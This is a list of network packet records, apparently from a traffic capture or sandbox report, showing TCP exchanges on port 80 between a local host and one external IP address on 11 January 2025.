Jan 11, 2025 05:15:07.485266924 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.485291004 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.485400915 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.485413074 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.485435963 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.485441923 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.485447884 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.485459089 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.485470057 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.485471964 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.485513926 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.485549927 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.485562086 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.485573053 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.485584021 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.485594988 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.485595942 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.485605955 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.485620022 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.485627890 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.485667944 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.485696077 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.485707045 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.485723019 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.485733986 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.485743999 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.485752106 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.485755920 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.485761881 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.485768080 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.485779047 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.485789061 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.485795975 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.485800982 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.485822916 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.485841990 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.485852003 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.485873938 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.485886097 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.485897064 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.485907078 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.485912085 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.485918999 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.485929966 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.485930920 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.485941887 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.485955000 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.485964060 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.485966921 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.485984087 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.486005068 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.486138105 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.486149073 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.486160040 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.486170053 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.486181974 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.486192942 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.486202955 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.486202955 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.486217022 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.486231089 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.486249924 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.504843950 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.504861116 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.504873037 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.504884005 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.504935980 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.504982948 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.505007029 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.505033016 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.505048037 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.505057096 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.505059004 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.505093098 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.505117893 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.505137920 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.505150080 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.505161047 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.505178928 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.505182981 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.505188942 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.505196095 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.505207062 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.505228043 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.505232096 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.505244970 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.505270958 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.505281925 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.505284071 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.505327940 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.505383968 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.505395889 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.505407095 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.505418062 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.505429029 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.505430937 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.505438089 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.505462885 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.505508900 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.522178888 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.522195101 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.522206068 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.522217035 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.522227049 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.522238970 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.522255898 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.522254944 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.522269011 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.522279024 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.522289991 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.522298098 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.522301912 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.522315025 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.522325039 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.522325039 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.522344112 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.522361994 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.533827066 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.533858061 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.533870935 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.533890963 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.533902884 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.533911943 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.533917904 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.533934116 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.533951044 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.533952951 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.533963919 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.533977032 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.534065962 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.534071922 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.534085989 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.534101009 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.534113884 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.534121037 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.534141064 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.554388046 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.554409981 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.554420948 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.554430962 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.554444075 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.554454088 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.554466009 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.554462910 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.554539919 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.554539919 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.571494102 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.571516037 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.571527004 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.571571112 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.571583986 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.571595907 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.571604967 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.571638107 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.571681023 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.571693897 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.571712017 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.571722984 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.571732998 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.571743011 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.571754932 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.571757078 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.571777105 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.571778059 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.571793079 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.571800947 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.571810961 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.571824074 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.571839094 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.571861029 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.571906090 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.571917057 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.571928024 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.571938992 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.571953058 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.571960926 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.571971893 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.571976900 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.571985960 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.571999073 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.572024107 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.572026014 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.572024107 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.572037935 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.572053909 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.572063923 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.572077036 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.572091103 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.572135925 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.572153091 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.572164059 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.572174072 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.572185040 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.572185993 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.572195053 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.572208881 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.572220087 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.572227001 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.572238922 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.572241068 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.572257996 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.572259903 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.572268963 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.572280884 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.572283030 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.572300911 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.572313070 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.572319984 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.572325945 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.572338104 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.572376966 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.572410107 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.572421074 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.572432995 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.572482109 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.572571993 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.572583914 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.572593927 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.572604895 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.572616100 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.572619915 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.572628021 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.572639942 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.572643042 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.572652102 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.572663069 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.572680950 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.572688103 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.572688103 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.572694063 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.572712898 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.572719097 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.572731018 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.572755098 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.572777987 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.787600040 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.787725925 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:08.198116064 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:08.203196049 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.203219891 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.203232050 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.203249931 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.203260899 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.203272104 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.203284025 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.203288078 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:08.203295946 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.203308105 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.203330994 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.203344107 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.203345060 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:08.203355074 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.203366041 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.203377962 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.203383923 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:08.203402996 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.203408957 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:08.203414917 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.203418016 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:08.203427076 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.203438997 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.203449965 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.203457117 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:08.203460932 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.203469038 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:08.203474045 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.203494072 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.203500986 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:08.203507900 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.203520060 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.203532934 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:08.203537941 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.203551054 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.203557968 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:08.203562975 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.203574896 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.203581095 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:08.203588009 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.203615904 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:08.246156931 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:08.463578939 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.463685036 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:08.651793957 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:08.656660080 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.656673908 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.656694889 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.656706095 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.656721115 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.656728983 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:08.656732082 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.656744957 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.656764984 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:08.656821966 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:08.656867981 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.656881094 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.656893015 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.656909943 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.656922102 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:08.656922102 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.656935930 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.656948090 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.656958103 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.656968117 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.656972885 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:08.656972885 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:08.656980038 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.656991959 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.656999111 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:08.657005072 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:08.657044888 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.657044888 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:08.657058954 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.657069921 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.657082081 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.657093048 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.657102108 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:08.657105923 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.657115936 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:08.657149076 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:08.657210112 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.657222033 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.657233953 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.657248974 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.657258987 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:08.657259941 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.657272100 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.657286882 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:08.657299042 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:08.657352924 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.657363892 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.657373905 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.657385111 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.657397985 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.657407045 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:08.657411098 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.657426119 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:08.657428026 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:08.657447100 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:08.699259996 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:08.930579901 CET	49700	80	192.168.2.7	193.143.1.205
